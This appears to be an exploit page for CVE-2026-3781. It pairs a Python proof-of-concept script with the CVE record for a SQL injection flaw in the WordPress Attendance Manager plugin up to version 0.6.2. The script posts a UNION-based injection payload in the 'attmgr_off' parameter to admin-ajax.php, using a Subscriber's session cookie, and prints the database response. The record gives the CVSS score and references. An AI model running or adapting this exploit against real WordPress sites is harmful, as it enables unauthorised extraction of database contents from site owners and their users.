CVE-2026-3781

import requests # Target URL configuration target_url = "http://target-site.com/wp-admin/admin-ajax.php" # Attacker cookies (Subscriber level access required) cookies = { "wordpress_logged_in_...": "session_cookie_value" } # Malicious payload targeting the 'attmgr_off' parameter # This payload attempts to extract the database user using a UNION based SQL injection payload = "1' UNION SELECT 1, 2, user(), 4-- -" # Data to be sent in the POST request post_data = { "action": "attendance_manager_action", # Action name may vary based on plugin hook "attmgr_off": payload } try: response = requests.post(target_url, data=post_data, cookies=cookies) # Check if the injection was successful based on response content if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Response content:") print(response.text) else: print("[-] Request failed with status code:", response.status_code) except Exception as e: print(f"[-] An error occurred: {e}")

{"cve": {"id": "CVE-2026-3781", "sourceIdentifier": "[email protected]", "published": "2026-04-08T07:16:22.067", "lastModified": "2026-04-27T19:04:22.650", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Attendance Manager plugin for WordPress is vulnerable to SQL Injection via the 'attmgr_off' parameter in all versions up to, and including, 0.6.2. This is due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with Subscriber-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/attendance-manager/trunk/class/class-form.php#L142", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/attendance-manager/trunk/class/class-form.php#L148", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/edf5ba29-2fc5-4839-abde-999f6b686749?source=cve", "source": "[email protected]"}]}}